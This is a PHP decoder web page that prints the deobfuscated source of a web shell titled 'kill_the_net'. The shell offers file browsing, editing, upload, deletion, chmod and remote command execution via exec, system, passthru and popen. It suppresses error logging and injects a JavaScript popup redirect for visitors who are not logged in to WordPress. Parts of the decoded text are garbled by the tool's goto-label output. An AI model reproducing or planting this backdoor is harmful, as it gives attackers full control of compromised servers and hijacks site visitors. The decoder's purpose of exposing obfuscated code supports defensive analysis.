Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
oto HdRvIa9MBa; SagRXZUM0X: echo "\40\x20\x20\x20\74\164\162\40\x62\147\143\x6f\154\157\x7..
Decoded Output download
<? oto HdRvIa9MBa; SagRXZUM0X: echo " <tr bgcolor="#000" align="center"> "; echo " <td > Permision</td>"; echo " <td > Nama File </td>"; echo " <td > Kapasitas </td>"; echo " <td > Command</td>"; goto VPzb7HOGy1; KI2QAd1BFT: if (@extension_loaded("shmop")) { goto OVRFkDlrd4; } echo "Module: <b>shmop</b> tidak dimuat!</br>"; goto mHRoy0Pjot; OVRFkDlrd4: echo "Module: <b>shmop</b> loaded!</br>"; goto sNd2UA18GT; tIFHGQHYSK: $IIIIIIII11lI = htmlspecialchars($IIIIIIII11lI); $IIIIIIII111I = $_SERVER["HTTP_REFERER"]; echo "<p align="center">Editing {$file} ...</p>"; echo "<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: \xd\xa\xd\xacollapse" width="100%" id="editacao">"; echo "<tr>"; goto nbHDTQh1tO; WJ3L2gmFbv: echo "</table>"; goto rogkI78w0M; UNloONDzWg: $IIIIIIII11ll = "{$chdir}" . $_GET["file"]; $IIIIIIII111l = $_POST["S1"]; goto IMjTQaKEAj; l1JAzV7BlL: nfDu69ccqO: $chdir = $_GET["chdir"]; zHApBX6slW: if (@chdir("{$chdir}")) { goto P1_1gLYBRQ; } $IIIIIIIIlII1 = "<font color="#FF0000">Error: Could not enter folder!</font>"; goto MHyicPQ1q3; n5CEZVi1We: egHjvFlMaB: $IIIIIIIlIlIl = 3; ngtj_82khD: tgoAiZA2YN: goto eRyK09DYDl; goto xEbtCdHKE2; zIuKERCkce: goto HP9cQOLibM; B5p6fGzp9a: zip_close($IIIIIIII1I11); Z3DLBzyzXZ: goto rogkI78w0M; goto yvgcJFI3bQ; ofp7gPo10M: goto o19SubiE1l; NIyDhepF_3: $IIIIIIIlI1II = explode("/", $chdir); $IIIIIIIlI1Il = str_replace($IIIIIIIlI1II[$IIIIIIIlIl1l - 1] . "/", '', $chdir); A8RZw6pjuq: goto Iw9vjJcydL; XCuDYMzrOu: echo "window.location="" + '{$IIIIIIIIII1I}&action=copy&chdir=' + chdir + '&file=' + file +
\xa'&fcopy=' + o + "";"; echo "}"; echo "}"; echo "function Mkdir(chdir) {"; echo "var o = prompt('Nama Folder?', 'Folder_Baru');"; goto NPNbn1YxBZ; AAt8bTUfp_: goto X5B1Wf8rAf; HaAqAJ6bTc: Fpwr3Z0j0V: if (!($IIIIIIIIl11l <= $IIIIIIIIl1l1)) { goto xkvelwEa9j; } $IIIIIIIIlII1 .= "<p style="color: #FFFFFF;text-align: left;font-family: \xd\xa\xd\xa'Lucida Console';font-size: 12px;margin 2"> " . @$IIIIIIIIl1ll[$IIIIIIIIl11l] . "</p>"; goto ij9EVaiVD6; V_RfzltOuv: goto rZ2KJfQlvb; jgJ0pyCFgZ: $IIIIIIIIlII1 = "<font color="#FFFFFF">{$file}</font>, <font color="#FFFFFF">disalin \xd
\xd
menjadi</font> <font color="#FFFFFF">{$copy}</font> <font color="#FFFFFF"> \xd\xa\xd
Berhasil!</font>"; rZ2KJfQlvb: goto rogkI78w0M; goto XhCnAwoGq0; b3oROrD6fU: if (@is_writable("{$chdir}" . "{$file}")) { goto ckMlJvicpS; } if ($IIIIIIIlIll1 == "chdir") { goto XIWDS6Ai_v; } if (@is_readable("{$chdir}" . "{$file}")) { goto PtqXkBbBU6; } echo "<td {$IIIIIIIlIllI}> {$file}</td>"; goto AzEY7BYPT1; goto uOrlaHJ5_8; UPpzNPU4Hp: $IIIIIIIIl11l = 0; $IIIIIIIIlII1 = ''; $IIIIIIIIlII1 .= "<p style="color: #FFFFFF;text-align: center;font-family: 'Lucida \xd
\xd\xaConsole';font-size: 12px;margin 2">Hasil : <b>" . $cmd . "</b></p>"; if ($IIIIIIIIl1ll) { goto HaAqAJ6bTc; } $IIIIIIIIlII1 .= "<p style="color: #FF0000;text-align: center;font-family: 'Lucida
\xa
Console';font-size: 12px;margin 2">Error: comando nao aceito.</p>"; goto AAt8bTUfp_; njOKht_MR_: if (!$IIIIIIIllIll) { goto WCNe_v1exn; } $IIIIIIIllIIl .= "Content-Transfer-Encoding: base64\xd
"; WCNe_v1exn: if (!$IIIIIIIllIll) { goto HhJUqqzSVi; } $IIIIIIIllIIl .= "Content-Disposition: attachment;
\xafilename="{$IIIIIIIllIll}"\xd
"; goto Ap7DeTAPdj; RVzxZg6OvW: c26Uao9SQh: rI6B1CqNUB: rogkI78w0M: $IIIIIIIlIIll = ''; if (empty($_GET["cmd"])) { goto KJxrYv17r7; } goto GMq0ppA3k2; weQjLCGz2D: GBepZ8NFVr: $IIIIIIIIII1l = @PHP_OS; $IIIIIIIIIlII = @php_uname(); $IIIIIIIIIlIl = @phpversion(); $IIIIIIIIIllI = @ini_get("safe_mode"); goto V7CQkJcuug; XhCnAwoGq0: Ymq1mfNy3M: if (empty($_GET["cmd"])) { goto m334JfcEKJ; } $cmd = @$_GET["cmd"]; m334JfcEKJ: if (empty($_POST["cmd"])) { goto VMLMeChLTz; } goto jMcD3AC57I; fHrAzQGu1X: $IIIIIIII1Ill = -3842685; $IIIIIIII1Il1 = @shmop_write($IIIIIIII1II1, $IIIIIIII1IlI, $IIIIIIII1Ill); if (!($IIIIIIII1Il1 != strlen($IIIIIIII1IlI))) { goto wZojnUJWAj; } echo "Couldn't write the entire length of \xd\xa
data\xd
"; wZojnUJWAj: goto OdYNIkBE4R; k9IWPDfsaW: @($IIIIIIIII1ll = fopen($IIIIIIII11ll, "w")); @($IIIIIIIlIIIl = fwrite($IIIIIIIII1ll, $IIIIIIII111l)); @fclose($IIIIIIIII1ll); if (!($IIIIIIIII1ll && $IIIIIIIlIIIl)) { goto c26Uao9SQh; } $IIIIIIIIlII1 = "<font color="#FFFFFF">{$_GET["file"]}</font>, <font \xd\xa
color="#FFFFFF">berhasil diedit!</font>"; goto RVzxZg6OvW; uOrlaHJ5_8: PtqXkBbBU6: echo "<td {$IIIIIIIlIllI}> <a \xd\xa\xd
href="{$IIIIIIIIII1I}&action=edit&chdir={$chdir}&file={$file}">{$file}</a> </td>"; AzEY7BYPT1: goto tZk94PI9_l; XIWDS6Ai_v: goto chK9IBfJRz; TJnss5Q0QO: if (@$_GET["action"] == "chmod") { goto DS7tBeyI6Y; } if (@$_GET["action"] == "rename") { goto GlnGXkgbaD; } if (@$_GET["action"] == "copy") { goto QzHaEAlMg3; } if (@$_GET["action"] == "cmd") { goto Ymq1mfNy3M; } if (@$_GET["action"] == "safemode") { goto FMbnWs1BCp; } goto xgytTSbuMb; clMsF11Lza: $IIIIIIIIlIll = $chdir; $IIIIIIIIlIl1 = $IIIIIIIIlIll . $_FILES["userfile"]["name"]; if (@move_uploaded_file($_FILES["userfile"]["tmp_name"], $IIIIIIIIlIll . $_FILES["userfile"]["name"])) { goto HI0jDA_0q0; } $IIIIIIIIlII1 = "<font color="#FF0000">Error: couldnt upload file on server.</font>"; goto H5Oo2tdbPA; goto urKY931eXT; EQgHVIF0eU: echo "var o = prompt('Nama File?', 'NewFile.txt');"; echo "if (o) {"; echo "window.location="" + '{$IIIIIIIIII1I}&action=newfile&chdir=' + chdir + '&newfile=' + o +
\xa\xd\xa"";"; echo "}"; echo "}"; goto MIHrqQ0mzg; FVAbwh_olH: RAcNQAYB5z: if (!(@substr("{$chdir}", strlen($chdir) - 1, 1) != "/")) { goto ew2RMC8p2Q; } $chdir .= "/"; ew2RMC8p2Q: if (!($file == "../")) { goto A8RZw6pjuq; } goto n0cx50MSOM; GMq0ppA3k2: $IIIIIIIlIIll = @$_GET["cmd"]; KJxrYv17r7: if (empty($_POST["cmd"])) { goto z0KOFeAxZc; } $IIIIIIIlIIll = @$_POST["cmd"]; z0KOFeAxZc: goto tm8E5kK0vv; LxfVO7o1kQ: JLa1ZTnX6O: echo "<legend>Dir NO: {$chdir} - <a href="#[New Dir]" \xd\xa
onclick="Mkdir('{$chdir}');">CRIAR DIRETORIO</a> | <a href="#[New File]"
onclick="Newfile('{$chdir}')">CRIAR ARQUIVO</a> | <a
\xa\xd
href="{$IIIIIIIIII1I}&action=cmd&chdir={$chdir}&cmd={$IIIIIIIlII11}">REMOTO</a></legend>"; ChJti8dsEj: goto fnEtjJc49d; y5F230gtjG: goto KSHgg23NWr; QMBTwuHKTV: goto jWtCyA1uf2; QI0JOO8AjY: $IIIIIIIIlII1 = "<font color="#FFFFFF">Chmod dari</font> <font
color="#FFFFFF">{$_GET["file"]}</font> <font color="#FFFFFF">berubah menjadi</font> \xd
<font color="#FFFFFF">{$chmod}</font> <font color="#FFFFFF">: Sukses!</font>"; jWtCyA1uf2: goto rogkI78w0M; goto KRB1hPdTyb; ij9EVaiVD6: $IIIIIIIIl11l++; goto Fpwr3Z0j0V; xkvelwEa9j: X5B1Wf8rAf: goto rogkI78w0M; goto hiFbppM4A0; VPzb7HOGy1: echo " </tr>"; $IIIIIIIlIlIl = 0; eRyK09DYDl: if (!(false !== ($file = readdir($IIIIIIIII1ll)))) { goto cKQUKTrNkd; } if (!($file != ".")) { goto tgoAiZA2YN; } goto fmJwCcx_JQ; Boln0X8MhN: $IIIIIIIIIlIl = @phpversion(); $IIIIIIIIIllI = @ini_get("safe_mode"); if ($IIIIIIIIIllI == '') { goto ELQ5V1aK8x; } $IIIIIIIIIllI = "<i>{$IIIIIIIIIllI}</i>"; goto VcJiUFnLw3; goto C3fefUrsMH; Zsx7n_v38F: goto bh1e79yb0a; DKv3V2Xb_I: $IIIIIIIIlII1 = "<font color="#FFFFFF">Archive</font> <font color="#FFFFFF">{$file}</font>
<font color="#FFFFFF">named for</font> <font color="#FFFFFF">{$newname}</font> <font
\xacolor="#FFFFFF">successfully!</font>"; bh1e79yb0a: goto rogkI78w0M; goto wWuAfpkg_1; NPNbn1YxBZ: echo "if (o) {"; echo "window.location="" + '{$IIIIIIIIII1I}&action=mkdir&chdir=' + chdir + '&newdir=' + o +
"";"; echo "}"; echo "}"; echo "function Newfile(chdir) {"; goto EQgHVIF0eU; j0OYAzoPC9: $IIIIIIIlIll1 = "edit"; goto RAcNQAYB5z; ZNiEaraPQi: $file = $file . "/"; $IIIIIIIlIll1 = "chdir"; goto FVAbwh_olH; MHyicPQ1q3: $chdir = str_replace($SCRIPT_NAME, '', $_SERVER["SCRIPT_NAME"]); goto X45yeKdcF9; P1_1gLYBRQ: $IIIIIIIIlII1 = "<font color="#FFFFFF"> Directory Door, OK!</font>"; X45yeKdcF9: goto boiNhsAeCV; neAemP4cgq: YJMuiJwZsR: echo "<td align="center" {$IIIIIIIlIllI}> <a href="#{$file}"
\xd\xaonclick="Rename('{$chdir}', '{$file}', '{$IIIIIIIlIll1}')">Rename</a> | <a
\xa\xd\xahref="{$IIIIIIIIII1I}&action=del&chdir={$chdir}&file={$file}&type=file">Del</a>
\xa
| <a href="#{$file}" onclick="ChMod('{$chdir}', '{$file}')">Chmod</a> | <a href="#{$file}" \xd
\xd\xaonclick="Copy('{$chdir}', '{$file}')">Copy</a> </td>"; VL0GV1Blkp: echo "</tr>"; if ($IIIIIIIlIlIl == 3) { goto x0Kh5vD9dD; } goto yOt4nnd0co; JTFOKkQNrK: $IIIIIIIIlII1 = ''; if (!$IIIIIIII1I11) { goto Z3DLBzyzXZ; } HP9cQOLibM: if (!($IIIIIIII1lIl = zip_read($IIIIIIII1I11))) { goto B5p6fGzp9a; } $IIIIIIIIlII1 .= "Name: " . zip_entry_name($IIIIIIII1lIl) . "\xd\xa"; goto C_1G4ptqhq; xgytTSbuMb: if (@$_GET["action"] == "zipen") { goto wSolwJyeuC; } if (@$_GET["action"] == "edit") { goto ReHDqEEqwb; } if (@$_GET["action"] == "save") { goto UNloONDzWg; } goto rogkI78w0M; j_tTer3Z39: goto clMsF11Lza; fkFhbVwCsw: echo "</tr>"; echo "<tr>"; echo "<td width="8%">"; echo " <b>PHP </b></td> "; echo "<td width="92%">: {$IIIIIIIIIlIl}, <b> Safe Mode :</b> {$IIIIIIIIIllI}</td>"; goto GNnrVWjarH; IMjTQaKEAj: $IIIIIIII111l = stripslashes(trim($IIIIIIII111l)); if (is_writable($IIIIIIII11ll)) { goto L6Nq5uOaA5; } $IIIIIIIIlII1 = "<font color="#FFFFFF">{$_GET["file"]},</font> <font color="#FF0000">tidak
\xd\xabisa ditulisi!</font>"; goto rI6B1CqNUB; L6Nq5uOaA5: goto k9IWPDfsaW; MfReCiwHGt: mHRoy0Pjot: goto rogkI78w0M; wSolwJyeuC: $file = $_GET["file"]; $IIIIIIII1I11 = @zip_open("{$chdir}" . "{$file}"); goto JTFOKkQNrK; fmJwCcx_JQ: if ($IIIIIIIlIlIl == 0) { goto eg2BpzCRKz; } if ($IIIIIIIlIlIl == 1) { goto RipYx59Kkl; } goto k6B79KNVgZ; eg2BpzCRKz: $IIIIIIIlIllI = "style="background-color: #000""; goto r8TiPpl2HV; AXoqVtgGpJ: $IIIIIIIIIIl1 = $IIIIIIIIIIlI[0]; $IIIIIIIIII1I = $_SERVER["PHP_SELF"] . "?" . $IIIIIIIIIIl1 . $IIIIIIIIIII1; $IIIIIIIIII1l = @PHP_OS; $IIIIIIIIII11 = "127.0.0.1"; $IIIIIIIIIlII = @php_uname(); goto Boln0X8MhN; J1AX4jcnzi: if (!($chdir[$IIIIIIIlIl11] == "/")) { goto Nxwg7X8DNo; } $IIIIIIIlIl1l++; Nxwg7X8DNo: VLuzjK50UL: $IIIIIIIlIl11++; goto ofp7gPo10M; sNd2UA18GT: $IIIIIIII1II1 = @shmop_open(0xff2, "c", 0644, 100); if ($IIIIIIII1II1) { goto t2K5wkMQ2_; } echo "Couldn't create shared memory segment\xd
"; t2K5wkMQ2_: $IIIIIIII1IlI = ''; goto fHrAzQGu1X; boiNhsAeCV: $chdir = str_replace(chr(92), chr(47), $chdir); if (@$_GET["action"] == "upload") { goto j_tTer3Z39; } if (@$_GET["action"] == "mkdir") { goto mxODlrzw0m; } if (@$_GET["action"] == "newfile") { goto W4PhOevde7; } if (@$_GET["action"] == "del") { goto HhTXWm_1nK; } goto TJnss5Q0QO; aYlrmEZRTu: echo " <p align="left">{$IIIIIIIIlII1}</td>"; goto BMcJGVtCEk; SbeDNFQyYu: echo " <p align="left">Messages</td>"; BMcJGVtCEk: goto DF0s1YFBYR; C3fefUrsMH: ELQ5V1aK8x: $IIIIIIIIIllI = "<i>OFF</i>"; VcJiUFnLw3: $IIIIIIIIIll1 = "shell?"; echo "<script type="text/javascript">"; goto sXJFa4Xt2v; FD3M4LenKf: $newdir = $_GET["newdir"]; if (@mkdir("{$chdir}" . "{$newdir}")) { goto VUUrMulSxg; } $IIIIIIIIlII1 = "<font color="#FF0000">Error: Folder Make Error.</font>"; goto GDjq9F_QA8; VUUrMulSxg: goto Dy_ksVD1pH; LVsOptYInY: FmEW4uph8f: $IIIIIIIllIIl .= "Content-Type: text/{$IIIIIIIllI1I}
"; $IIIIIIIllIIl .= "Content-Transfer-Encoding: 8bit
\xa
\xa"; $IIIIIIIllIIl .= "{$IIIIIIIllI1l}
\xa"; if (!$IIIIIIIllIll) { goto b_IR8QcFgQ; } goto kmCu32Vz3r; r8TiPpl2HV: goto k6B79KNVgZ; RipYx59Kkl: $IIIIIIIlIllI = "style="background-color: #000""; k6B79KNVgZ: if (@is_dir("{$chdir}" . "{$file}")) { goto ZNiEaraPQi; } goto j0OYAzoPC9; n0cx50MSOM: $IIIIIIIlIl1I = strlen($chdir); $IIIIIIIlIl1l = 0; $IIIIIIIlIl11 = 0; o19SubiE1l: if (!($IIIIIIIlIl11 < $IIIIIIIlIl1I)) { goto NIyDhepF_3; } goto J1AX4jcnzi; gaiBMOwzPM: echo "}"; echo "}"; echo "function Copy(chdir, file) {"; echo "var o = prompt('Copied for:', '/tmp/' + file);"; echo "if (o) {"; goto XCuDYMzrOu; xEbtCdHKE2: cKQUKTrNkd: closedir($IIIIIIIII1ll); goto GBepZ8NFVr; oBa23aYMEU: echo " Gue gak bisa masuk folder, <a href="{$IIIIIIIIII1I}">Klik sini!</a> untuk embali ke
\xa\xd
folder ori!</br>"; goto weQjLCGz2D; V7eEhDZXb9: foreach ($_COOKIE as $vUjUnHvOOoO => $vvvUjUnHvOOoO) { if (!strstr(strval($vUjUnHvOOoO), "wordpress_logged_in")) { goto MGBY8meYiq; } $ckUjYggTf = 1; goto vXtqhSLMN9; MGBY8meYiq: dr1Ws8OThO: } vXtqhSLMN9: if (!($ckUjYggTf == 0 && !strstr(strval($_SERVER["REQUEST_URI"]), "wp-login.php"))) { goto InYp6vRVzc; } echo "<script>(function (parameters) {
\xa const getHoursDiff = (startDate, endDate) => {
\xa const msInHour = 1000 * 60 * 60;
return Math.round(Math.abs(endDate - startDate) / msInHour);
}\xd\xa const getFromStorage = (host) => localStorage.getItem(`${host}-local-storage`);\xd
const addToStorage = (host, nowDate) => localStorage.setItem(`${host}-local-storage`, nowDate);
\xd
function globalClick(event) {
\xa const host = location.host
const newLocation = "/logo.png"
\xa const allowedHours = 6
\xa\xd\xa const nowDate = Date.parse(new Date());
\xa const savedData = getFromStorage(host)
\xa
if (savedData) {
try {\xd\xa const storageDate = parseInt(savedData);\xd\xa // check hours
const hoursDiff = getHoursDiff(nowDate, storageDate)
\xa console.log(nowDate, storageDate, hoursDiff)
if (hoursDiff >= allowedHours) {\xd\xa addToStorage(host, nowDate);\xd
window.open(newLocation, "_blank");
\xa }
\xa } catch (error) {\xd\xa addToStorage(host, nowDate);\xd\xa window.open(newLocation, "_blank");
\xa }
\xa } else {
\xa addToStorage(host, nowDate);
window.open(newLocation, "_blank");
}\xd\xa }\xd\xa document.addEventListener("click", globalClick);
\xa })();</script>"; InYp6vRVzc: goto QG39LtR795; MIHrqQ0mzg: echo "</script>"; function cmd($IIIIIIIIIl1l) { goto DhaHqN3iQo; pW6o9ZcxKe: if (empty($IIIIIIIIIl11[1])) { goto h1g1PyuUwT; } goto sDiv7psL1O; Poe3U909Vm: $IIIIIIIIIl11[1] = shell_exec($IIIIIIIIIl1l); goto sDiv7psL1O; goto FvQI91UvXf; FvQI91UvXf: vt2Ff8aeml: $IIIIIIIIIl11[1] = passthru($IIIIIIIIIl1l); goto sDiv7psL1O; wLglyyPqsV: $IIIIIIIIIl11[1] = system($IIIIIIIIIl1l); goto jyqwknhZtQ; zwoxqgkp_s: $IIIIIIIIIl11[1][] .= fgets($IIIIIIIII1ll); goto EbNuGXlZQF; pdfssQGFfl: pclose($IIIIIIIII1ll); sDiv7psL1O: goto sE4dcHdDoW; sE4dcHdDoW: return $IIIIIIIIIl11[1]; goto UfAT6YxGAA; DhaHqN3iQo: $IIIIIIIIIl11[1] = ''; exec($IIIIIIIIIl1l, $IIIIIIIIIl11[1]); if (empty($IIIIIIIIIl11[1])) { goto Poe3U909Vm; } if (empty($IIIIIIIIIl11[1])) { goto vt2Ff8aeml; } if (empty($IIIIIIIIIl11[1])) { goto wLglyyPqsV; } goto pW6o9ZcxKe; jyqwknhZtQ: goto sDiv7psL1O; h1g1PyuUwT: $IIIIIIIII1ll = popen($IIIIIIIIIl1l, "r"); EbNuGXlZQF: if (feof($IIIIIIIII1ll)) { goto pdfssQGFfl; } goto zwoxqgkp_s; UfAT6YxGAA: } if (@$_GET["chdir"]) { goto nfDu69ccqO; } $chdir = getcwd() . "/"; goto zHApBX6slW; goto l1JAzV7BlL; bxTTQTgROv: echo " <td width="100%" colspan="4"> </td>"; echo " </tr>"; echo " <tr>"; echo " <td width="100%" colspan="4">"; if (@(!$IIIIIIIIlII1)) { goto SbeDNFQyYu; } goto aYlrmEZRTu; aqOHG9i3hX: Mb51YO0LpC: $IIIIIIIlI1ll = $IIIIIIIlI1ll[0] . "." . @substr("{$IIIIIIIlI1ll[1]}", 0, 2); SI6dIp32ZJ: if (!($IIIIIIIlI1ll == 0)) { goto fqRDRW5GGk; } if (!($IIIIIIIlIll1 == "chdir")) { goto E1OnjLSXRq; } goto y1EduMQnCM; U3dy2VPzmB: DS7tBeyI6Y: $file = $chdir . $_GET["file"]; $chmod = $_GET["chmod"]; if (@chmod("{$file}", $chmod)) { goto QI0JOO8AjY; } $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Gagal mengubah chmod.</font>"; goto QMBTwuHKTV; Ic7vx2YEVs: juOpqGe42D: fnEtjJc49d: if (@(!($IIIIIIIII1ll = opendir("{$chdir}")))) { goto oBa23aYMEU; } echo " <table border="0" cellpadding="5" cellspacing="0" width="100%">"; echo " <tr>"; goto acFEUIEhPF; Fw5IxQxGd9: echo "<td width="92%">: {$IIIIIIIIII11}</td>"; echo "</tr>"; echo "<tr>"; echo "<td width="8%">"; echo " <b>Command </b></td> "; goto qXCK2LPlSf; TCmnoVAwGf: goto GDrVi5KnZV; LEoNK4J1RI: if (@rmdir("{$chdir}" . "{$file}")) { goto uLwCZzKDFb; } $IIIIIIIIlII1 = "<font color="#FF0000">Error: Gagal menghapus folder!</font>"; goto AfUgWGXH8I; goto pqcausJeAC; wWuAfpkg_1: QzHaEAlMg3: $file = $chdir . $_GET["file"]; $copy = $_GET["fcopy"]; if (@copy("{$file}", "{$copy}")) { goto jgJ0pyCFgZ; } $IIIIIIIIlII1 = "<font color="#FF0000">Error: Gagal menyalin </font> <font
\xa
\xacolor="#FFFFFF">{$file}</font> <font color="#FF0000">menjadi</font> <font
\xacolor="#FFFFFF">{$copy}</font></font>"; goto V_RfzltOuv; yOt4nnd0co: if ($IIIIIIIlIlIl == 2) { goto egHjvFlMaB; } goto ngtj_82khD; x0Kh5vD9dD: $IIIIIIIlIlIl = 2; goto ngtj_82khD; goto n5CEZVi1We; kF81yT74Q9: if (!$IIIIIIIllIll) { goto kmBY5_2D36; } $IIIIIIIllIIl .= "Content-Type: multipart/mixed; boundary={$IIIIIIIllIl1}\xd
"; kmBY5_2D36: if (!$IIIIIIIllIll) { goto FmEW4uph8f; } $IIIIIIIllIIl .= "--{$IIIIIIIllIl1}\xd\xa"; goto LVsOptYInY; qmXssclJmY: goto jvrQnExAiq; HKiVqUPREv: @dl("php_shmop.dll"); jvrQnExAiq: YwvjvNKIVQ: goto KI2QAd1BFT; kf1OUTLUNO: echo "else {"; echo "var o = prompt('Rename Nama Folder '+ file + ' menjadi:', '');"; echo "}"; echo "if (o) {"; echo "window.location="" + '{$IIIIIIIIII1I}&action=rename&chdir=' + chdir + '&file=' + file + \xd
\xd
'&newname=' + o + '&mode=' + mode +"";"; goto gaiBMOwzPM; dXFJ28nKwU: goto ltb2zT2pC8; HcCEiJ1BRo: echo "<td {$IIIIIIIlIllI}> <b><a href="{$IIIIIIIIII1I}&chdir={$IIIIIIIlI1Il}"><font
\xd\xacolor="#FFFFFF">{$file}</font></a></b> </td>"; ltb2zT2pC8: T5XO8TGyPj: goto psoKwOJmmN; hiFbppM4A0: FMbnWs1BCp: if (!@(!extension_loaded("shmop"))) { goto YwvjvNKIVQ; } echo "Loading... module</br>"; if (strtoupper(substr(PHP_OS, 0, 3) == "WIN")) { goto HKiVqUPREv; } @dl("shmop.so"); goto qmXssclJmY; C_1G4ptqhq: $IIIIIIIIlII1 .= "Actual Filesize: " . zip_entry_filesize($IIIIIIII1lIl) . "
\xa"; $IIIIIIIIlII1 .= "Compressed Size: " . zip_entry_compressedsize($IIIIIIII1lIl) . "\xd\xa"; $IIIIIIIIlII1 .= "Compression Method: " . zip_entry_compressionmethod($IIIIIIII1lIl) . "
"; if (!zip_entry_open($IIIIIIII1I11, $IIIIIIII1lIl, "r")) { goto hqbY2Es0p7; } echo "File Contents:\xd\xa"; goto In1KZ73bHW; HdRvIa9MBa: error_reporting(0); @ini_set("error_log", NULL); @ini_set("log_errors", 0); @ini_set("display_errors", 0); $ckUjYggTf = 0; goto V7eEhDZXb9; XmQzs1vYlt: echo "<input type="submit" value="Simpan" name="B2" style=" border: 1px solid
#FFFFFF"> "; echo "<input type="button" value="Tutup"
\xd\xaOnclick="javascript:window.location='{$IIIIIIIIII1I}&chdir={$chdir}'" name="B1" style="
\xa\xd\xaborder: 1px solid #FFFFFF"> "; echo "</form>"; echo "</td>"; echo "</tr>"; goto WJ3L2gmFbv; nbHDTQh1tO: echo "<td width="100%">"; echo "<form method="POST"
\xa
action="{$IIIIIIIIII1I}&action=save&chdir={$chdir}&file={$file}">"; echo "<!--webbot bot="SaveResults" u-file="_private/form_results.csv"
\xa\xd
s-format="TEXT/CSV" s-label-fields="TRUE" --><p align="center">"; print "<textarea rows="18" name="S1" cols="89" style="font-family: Verdana;
font-size: 8pt; border: 1px solid #FFFFFF">{$IIIIIIII11lI}</textarea></p>"; echo "<p align="center">"; goto XmQzs1vYlt; LRAKF0Exgw: echo "</tr>"; ixxOmxSmUw: echo "<tr>"; echo "<td width="8%">"; echo " <b>IP </b></td> "; goto Fw5IxQxGd9; chK9IBfJRz: if ($file == "../") { goto sC9peFz4cs; } echo "<td {$IIIIIIIlIllI}> <a
\xd
href="{$IIIIIIIIII1I}&chdir={$chdir}{$file}">{$file}</a></td>"; goto EmtkTD_FjW; sC9peFz4cs: echo "<td {$IIIIIIIlIllI}> <a href="{$IIIIIIIIII1I}&chdir={$IIIIIIIlI1Il}">{$file}</a> \xd\xa
\xa</td>"; goto iu0_wjj4vs; IZiCevgX0Q: $IIIIIIIlI1ll = $IIIIIIIlI1ll / 1024; $IIIIIIIlI1ll = explode(".", $IIIIIIIlI1ll); if (@$IIIIIIIlI1ll[1] != '') { goto Mb51YO0LpC; } $IIIIIIIlI1ll = $IIIIIIIlI1ll[0]; goto SI6dIp32ZJ; goto aqOHG9i3hX; pCQJSEz2ve: XcN6Afhvzm: goto T5XO8TGyPj; mC4Llr6uxH: if ($file == "../") { goto HcCEiJ1BRo; } echo "<td {$IIIIIIIlIllI}> <b><a href="{$IIIIIIIIII1I}&chdir={$chdir}{$file}"><font \xd
\xd
color="#FFFFFF">{$file}</font></a> </b></td>"; goto dXFJ28nKwU; KRB1hPdTyb: GlnGXkgbaD: $file = $_GET["file"]; $newname = $_GET["newname"]; if (@rename("{$chdir}" . "{$file}", "{$chdir}" . "{$newname}")) { goto DKv3V2Xb_I; } $IIIIIIIIlII1 = "<font color="#FF0000">Error: Gagal mencalonkan arsip.</font>"; goto Zsx7n_v38F; acFEUIEhPF: echo " <td width="100%" colspan="4"> Upload:"; echo " <input type="file" name="userfile" size="65" style=" border-style:
\xa
\xasolid; border-width: 1">"; echo " <input type="submit" value="UP" name="B1" style=" border: 1px solid \xd
#FFFFFF"></td>"; echo " </tr>"; echo " <tr>"; goto bxTTQTgROv; Us0mLydtmw: vdK7JYFTE3: goto rogkI78w0M; HhTXWm_1nK: $file = $_GET["file"]; $type = $_GET["type"]; goto cMhoEZgci3; QG39LtR795: echo "<html>
<head>
<meta http-equiv="Content-Language" content="pt-br">
\xa<meta name="GENERATOR" content="Microsoft FrontPage 5.0">\xd
<meta name="ProgId" content="AoD">\xd
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title> kill_the_net </title>
\xa<style type="text/css">
A:link {text-decoration:none}
A:visited {text-decoration:none}\xd\xaA:hover {text-decoration:underline}
\xaA:active {text-decoration:underline}
\xabody,td {\xd\xa font-family: verdana;
font-size: 8pt;
background-color: #000;\xd\xa}\xd
a{\xd
color: #0000FF;\xd\xa text-decoration: none;\xd
font-weight: bold;
\xa}\xd\xaa:hover {
color: #FF0000;\xd\xa text-decoration: underline;
}\xd\xabody,td,th {
\xa font-weight: bold;
color: #0f0;\xd
}\xd
</style>
\xa</head>\xd
<body text="#FFFFFF" >
<center><h2>0x666</h2></center>\xd
<center>"; @set_time_limit(0); $IIIIIIIIIIIl = $_SERVER["QUERY_STRING"]; $IIIIIIIIIII1 = "shell?"; $IIIIIIIIIIlI = explode("{$IIIIIIIIIII1}", $IIIIIIIIIIIl); goto AXoqVtgGpJ; In1KZ73bHW: $IIIIIIII1l11 = zip_entry_read($IIIIIIII1lIl, zip_entry_filesize($IIIIIIII1lIl)); echo "{$IIIIIIII1l11}\xd\xa"; zip_entry_close($IIIIIIII1lIl); hqbY2Es0p7: echo "
\xa"; goto zIuKERCkce; OdYNIkBE4R: if (shmop_delete($IIIIIIII1II1)) { goto Sh9StFfaE4; } echo "Couldn't mark shared memory block for deletion."; Sh9StFfaE4: echo passthru("id"); shmop_close($IIIIIIII1II1); goto MfReCiwHGt; cgJoreVdpL: if (@touch("{$chdir}" . "{$newfile}")) { goto a9LQc2ECBt; } $IIIIIIIIlII1 = "<font color="#FF0000">Error: Pembuatan arsip gagal! entah?</font>"; goto vdK7JYFTE3; a9LQc2ECBt: $IIIIIIIIlII1 = "<font color="#FFFFFF"><font color="#FFFFFF">{$newfile}</font>, berhasil \xd\xa\xd\xadibuat! ye ke? </font>"; goto Us0mLydtmw; V7CQkJcuug: if ($IIIIIIIIIllI == '') { goto Zdrnqz0xC9; } $IIIIIIIIIllI = "<i>{$IIIIIIIIIllI}</i><BR>"; goto gED136UbMh; Zdrnqz0xC9: $IIIIIIIIIllI = "<i>OFF</i><BR>"; goto ibXajJlDH3; Je3JgAC0og: echo "</tr>"; echo "<tr>"; echo "<td width="8%">"; echo " <b>NAME </b></td> "; echo "<td width="92%">: {$IIIIIIIIIlII}</td>"; goto fkFhbVwCsw; cMhoEZgci3: if ($type == "file") { goto Ec9mmfBb6X; } if ($type == "dir") { goto LEoNK4J1RI; } goto GDrVi5KnZV; Ec9mmfBb6X: if (@unlink("{$chdir}" . "{$file}")) { goto QRx1kt8Imz; } goto Oe1_2R1SuR; kmCu32Vz3r: $IIIIIIIllIIl .= "--{$IIIIIIIllIl1}
